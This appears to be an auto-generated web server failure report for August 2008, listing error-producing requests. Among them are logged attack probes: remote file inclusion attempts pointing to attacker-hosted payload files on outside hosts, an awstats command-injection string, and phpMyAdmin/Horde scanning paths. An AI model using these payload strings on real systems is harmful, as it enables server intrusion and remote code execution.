The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.
This report shows the first 100 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | |
|---|---|---|
| 1. | /robots.txt | 273 |
| 2. | /w00tw00t.at.ISC.SANS.DFind:) | 35 |
| 3. | /favicon.ico | 15 |
| 4. | /sumthin | 5 |
| 5. | /photopost/zipndownload.php | 2 |
| /photopost/zipndownload.php?PP_PATH=http://www.handowire.com/bbs/Paddy/id.txt?????? | 2 | |
| 6. | /stats/.stats.Oct-2005/FAILURE.html/awstats.pl | 2 |
| /stats/.stats.Oct-2005/FAILURE.html/awstats.pl?configdir=|echo;echo;echo Osirys;id%00?http://www.freewebs.com/albgroup/1d/vid.txt??? | 2 | |
| 7. | /stats/photopost/zipndownload.php | 2 |
| /stats/photopost/zipndownload.php?PP_PATH=http://www.handowire.com/bbs/Paddy/id.txt?????? | 2 | |
| 8. | /w00tw00t.at.ISC.SANS.MSlog:) | 2 |
| 9. | /horde3/README | 2 |
| 10. | /user/soapCaller.bs | 2 |
| 11. | http://www.spedia.net/sp_login.htm | 2 |
| 12. | /horde-3.0.9/README | 2 |
| 13. | /stats/.stats.Nov-2006/photopost/zipndownload.php | 2 |
| /stats/.stats.Nov-2006/photopost/zipndownload.php?PP_PATH=http://www.handowire.com/bbs/Paddy/id.txt?????? | 2 | |
| 14. | /horde/README | 2 |
| 15. | /graffs/roberta.html | 2 |
| 16. | /stats/.stats.Oct-2005/awstats.pl | 2 |
| /stats/.stats.Oct-2005/awstats.pl?configdir=|echo;echo;echo Osirys;id%00?http://www.freewebs.com/albgroup/1d/vid.txt??? | 2 | |
| 17. | /README | 2 |
| 18. | /awstats.pl | 2 |
| /awstats.pl?configdir=|echo;echo;echo Osirys;id%00?http://www.freewebs.com/albgroup/1d/vid.txt??? | 2 | |
| 19. | /user/templates/footer.tpl | 2 |
| 20. | /stats/.stats.Mar-2006/calendar/tools/send_reminders.php | 1 |
| /stats/.stats.Mar-2006/calendar/tools/send_reminders.php?noSet=0&includedir=http://www.suttas.com/files/sefe.txt?? | 1 | |
| 21. | /PMA/main.php | 1 |
| 22. | /stats/.stats.Sep-2003/[root | 1 |
| 23. | http://88.80.7.248/proxy-pool/anp.php | 1 |
| http://88.80.7.248/proxy-pool/anp.php?a=VUVHSU_O@ZCTD&b=1155&c=f038 | 1 | |
| 24. | /phpMyAdmin-2.2.6/main.php | 1 |
| 25. | /horde-3.0.5/README | 1 |
| 26. | /phpMyAdmin/index.php | 1 |
| 27. | /phpMyAdmin-2.5.6/main.php | 1 |
| 28. | /mails/README | 1 |
| 29. | /administrator/components/com_jcs/view/add.php | 1 |
| 30. | /cobalt-images/welcome2.gif | 1 |
| 31. | /phpmyadmin/index.php | 1 |
| 32. | /stats/mambots/content/multithumb/multithumb.php | 1 |
| /stats/mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.clever-gesundbleiben.de/templates/.../sistem.txt??? | 1 | |
| 33. | /stats/.stats.Jan-2003/[root | 1 |
| 34. | /Horde/README | 1 |
| 35. | /stats/.stats.May-2003/[root | 1 |
| 36. | /stats/.stats.Apr-2003/[no | 1 |
| 37. | /appserv/main.php | 1 |
| /appserv/main.php?appserv_root=http://zxvf.biz/t.txt?& | 1 | |
| 38. | /cgi/htaccess/dirs | 1 |
| 39. | /cgi/htaccess/dirs/ | 1 |
| 40. | /stats/.stats.Mar-2006/FAILURE.htmleihgc/xe7 | 1 |
| 41. | /stats/.stats.Mar-2006/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php | 1 |
| /stats/.stats.Mar-2006/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://cr4nk.wrz.be/cr4nk/i? | 1 | |
| 42. | /mysql/main.php | 1 |
| 43. | /stats/.stats.Apr-2002/[root | 1 |
| 44. | /stats/.stats.Oct-2002/[no | 1 |
| 45. | /newmail/README | 1 |
| 46. | /horde-3.0.7/README | 1 |
| 47. | /stats/.stats.Jun-2002/[root | 1 |
| 48. | /stats/.stats.Aug-2003/[root | 1 |
| 49. | /stats/.stats.May-2003/[no | 1 |
| 50. | /mailz/README | 1 |
| 51. | /stats/.stats.Nov-2002/[root | 1 |
| 52. | /stats/.stats.Mar-2003/[no | 1 |
| 53. | /stats/.stats.Jan-2008/mambots/content/multithumb/multithumb.php | 1 |
| /stats/.stats.Jan-2008/mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.clever-gesundbleiben.de/templates/.../sistem.txt??? | 1 | |
| 54. | /phpMyAdmin-2.5.1/main.php | 1 |
| 55. | /mysqladmin/main.php | 1 |
| 56. | /stats/.stats.Mar-2003/[root | 1 |
| 57. | /stats/.stats.Sep-2002/[root | 1 |
| 58. | /mambots/content/multithumb/multithumb.php | 1 |
| /mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.clever-gesundbleiben.de/templates/.../sistem.txt??? | 1 | |
| 59. | /stats/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php | 1 |
| /stats/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://cr4nk.wrz.be/cr4nk/i? | 1 | |
| 60. | /stats/.stats.May-2002/[root | 1 |
| 61. | /phpmyadmin2/main.php | 1 |
| 62. | /stats/.stats.Jul-2003/[root | 1 |
| 63. | /test1234.html | 1 |
| 64. | /admin/mysql/main.php | 1 |
| 65. | /web/phpMyAdmin/main.php | 1 |
| 66. | /newindex04.htm | 1 |
| 67. | /stats/.stats.Jul-2003/[no | 1 |
| 68. | /admin/phpmyadmin/main.php | 1 |
| 69. | /phpMyAdmin-2.2.3/main.php | 1 |
| 70. | /horde2/README | 1 |
| 71. | /stats/.stats.Dec-2002/[root | 1 |
| 72. | /mail/README | 1 |
| 73. | /horde-3.0.6/README | 1 |
| 74. | /manager/html | 1 |
| 75. | /admin/pma/main.php | 1 |
| 76. | /stats/calendar/tools/send_reminders.php | 1 |
| /stats/calendar/tools/send_reminders.php?noSet=0&includedir=http://www.suttas.com/files/sefe.txt?? | 1 | |
| 77. | /stats/.stats.Nov-2002/[no | 1 |
| 78. | /stats/.stats.Sep-2003/[no | 1 |
| 79. | /dbadmin/main.php | 1 |
| 80. | /stats/.stats.Aug-2002/[root | 1 |
| 81. | /stats/.stats.Dec-2002/[no | 1 |
| 82. | /stats/.stats.Jan-2003/[no | 1 |
| 83. | /db/main.php | 1 |
| 84. | /intl1.oa.vip.scd.yahoo.com/raw | 1 |
| /intl1.oa.vip.scd.yahoo.com/raw?dp=auth&src=home&_dm=&login=&passwd= | 1 | |
| 85. | /phpMyAdmin-2.5.4/main.php | 1 |
| 86. | /stats/.stats.Apr-2003/[root | 1 |
| 87. | /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php | 1 |
| /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://cr4nk.wrz.be/cr4nk/i? | 1 | |
| 88. | /admin/main.php | 1 |
| 89. | /email/README | 1 |
| 90. | /calendar/tools/send_reminders.php | 1 |
| /calendar/tools/send_reminders.php?noSet=0&includedir=http://www.suttas.com/files/sefe.txt?? | 1 | |
| 91. | /mysql-admin/main.php | 1 |
| 92. | /stats/.stats.Aug-2003/[no | 1 |
| 93. | /stats/.stats.Jun-2003/[root | 1 |
| 94. | /phpmyadmin/main.php | 1 |
| 95. | /horde-3.0.8/README | 1 |
| 96. | /graffs/ | 1 |
| 97. | /stats/.stats.Jun-2003/[no | 1 |
| 98. | /stats/.stats.Jul-2002/[root | 1 |
| 99. | /stats/.stats.Oct-2002/[root | 1 |
| 100. | /webmail/README | 1 |
| [not listed: 3] | 3 | |
This report was generated on September 1, 2008 02:09.
Report time frame August 1, 2008 00:20 to August 31, 2008 19:54.